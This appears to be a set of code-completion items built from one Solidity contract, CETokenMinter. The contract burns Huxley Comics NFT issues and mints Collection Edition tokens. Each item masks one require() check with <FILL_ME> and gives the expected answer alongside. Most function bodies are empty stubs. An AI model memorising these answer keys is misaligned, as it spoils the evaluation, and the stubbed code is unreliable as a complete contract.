* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
require(
hasValidSignature(
_signature,
_freeClaimAmount,
_tokenIds123,
_tokenIds4,
_tokenIds56
),
"CE: Wrong signature"
);
// _tokenIds123.length wasn't added in a local variable because
// it was getting stack too deep error
// they all should have the same amount of a complete collection.
require(<FILL_ME>)
require(
_tokenIds56.length / 2 == _tokenIds4.length,
"CEM: Wrong size 56"
);
// Loop does the actions below:
// - Burns 123,
// - checks Issue 4 ownership
// - checks 5 and 6 ownership and if it is from 5 and 6
// - save in memory token ids that will be used in a an event after minting CE token
// - emits event of collection burned
uint256 i; // it controls _tokenIds123 index
uint256 j; // it controls _tokenIds4 index
uint256 z; // it controls _tokenIds56 index (it is in pair)
uint256[][] memory tokenIdsBurned = new uint256[][](_tokenIds4.length);
while (i < _tokenIds123.length) {
_burnTokens123(
_tokenIds123[i],
_tokenIds123[i + 1],
_tokenIds123[i + 2]
);
_checkOwner4Token(_tokenIds4[j]);
// check 56 ownership and if it is 5 and 6 (it checks if they are even/odd)
_checkOwner56Tokens(_tokenIds56[z], _tokenIds56[z + 1]);
uint256[] memory burnedIds = new uint256[](6);
burnedIds[0] = _tokenIds123[i];
burnedIds[1] = _tokenIds123[i + 1];
burnedIds[2] = _tokenIds123[i + 2];
burnedIds[3] = _tokenIds4[j];
burnedIds[4] = _tokenIds56[z];
burnedIds[5] = _tokenIds56[z + 1];
// it uses j index because it is equal to the amount of CE that will be minted
tokenIdsBurned[j] = burnedIds;
unchecked {
i = i + 3; // issue 123
++j; // issue 4
z = z + 2; // issue 56
}
}
// while loop has already checked tokenids ownership for Issue 4 and Issue 5 and 6
_burn4(_tokenIds4);
_burn56(_tokenIds56);
// mint a certain amount of CE token and the same amount of AP
_mintCE(_tokenIds4.length, _freeClaimAmount, tokenIdsBurned);
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| _tokenIds123.length/3==_tokenIds4.length,"CEM: Wrong size 4" | 206,000 | _tokenIds123.length/3==_tokenIds4.length |
"CEM: Wrong size 56" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
require(
hasValidSignature(
_signature,
_freeClaimAmount,
_tokenIds123,
_tokenIds4,
_tokenIds56
),
"CE: Wrong signature"
);
// _tokenIds123.length wasn't added in a local variable because
// it was getting stack too deep error
// they all should have the same amount of a complete collection.
require(
_tokenIds123.length / 3 == _tokenIds4.length,
"CEM: Wrong size 4"
);
require(<FILL_ME>)
// Loop does the actions below:
// - Burns 123,
// - checks Issue 4 ownership
// - checks 5 and 6 ownership and if it is from 5 and 6
// - save in memory token ids that will be used in a an event after minting CE token
// - emits event of collection burned
uint256 i; // it controls _tokenIds123 index
uint256 j; // it controls _tokenIds4 index
uint256 z; // it controls _tokenIds56 index (it is in pair)
uint256[][] memory tokenIdsBurned = new uint256[][](_tokenIds4.length);
while (i < _tokenIds123.length) {
_burnTokens123(
_tokenIds123[i],
_tokenIds123[i + 1],
_tokenIds123[i + 2]
);
_checkOwner4Token(_tokenIds4[j]);
// check 56 ownership and if it is 5 and 6 (it checks if they are even/odd)
_checkOwner56Tokens(_tokenIds56[z], _tokenIds56[z + 1]);
uint256[] memory burnedIds = new uint256[](6);
burnedIds[0] = _tokenIds123[i];
burnedIds[1] = _tokenIds123[i + 1];
burnedIds[2] = _tokenIds123[i + 2];
burnedIds[3] = _tokenIds4[j];
burnedIds[4] = _tokenIds56[z];
burnedIds[5] = _tokenIds56[z + 1];
// it uses j index because it is equal to the amount of CE that will be minted
tokenIdsBurned[j] = burnedIds;
unchecked {
i = i + 3; // issue 123
++j; // issue 4
z = z + 2; // issue 56
}
}
// while loop has already checked tokenids ownership for Issue 4 and Issue 5 and 6
_burn4(_tokenIds4);
_burn56(_tokenIds56);
// mint a certain amount of CE token and the same amount of AP
_mintCE(_tokenIds4.length, _freeClaimAmount, tokenIdsBurned);
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| _tokenIds56.length/2==_tokenIds4.length,"CEM: Wrong size 56" | 206,000 | _tokenIds56.length/2==_tokenIds4.length |
"CE: Not owner 4" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
require(<FILL_ME>)
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| huxleyComics4.ownerOf(_tokenId4)==msg.sender,"CE: Not owner 4" | 206,000 | huxleyComics4.ownerOf(_tokenId4)==msg.sender |
"CE: Not owner 56" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
require(<FILL_ME>)
require(
huxleyComics56.ownerOf(_tokenId6) == msg.sender,
"CE: Not owner 56"
);
